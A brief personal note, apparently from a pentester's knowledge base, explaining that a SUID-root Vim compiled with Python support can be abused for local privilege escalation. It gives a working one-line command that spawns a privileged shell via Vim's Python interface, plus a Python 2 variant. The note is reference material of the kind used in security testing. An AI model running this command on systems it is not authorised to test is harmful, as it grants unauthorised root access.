Exploiting ViM
- author:: Nathan Acks
- date:: 2021-11-04
If ViM is SUID root and is compiled with Python support, it can be used for privilege escalation.
vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
NOTE: Use :py
instead if only Python 2 is available.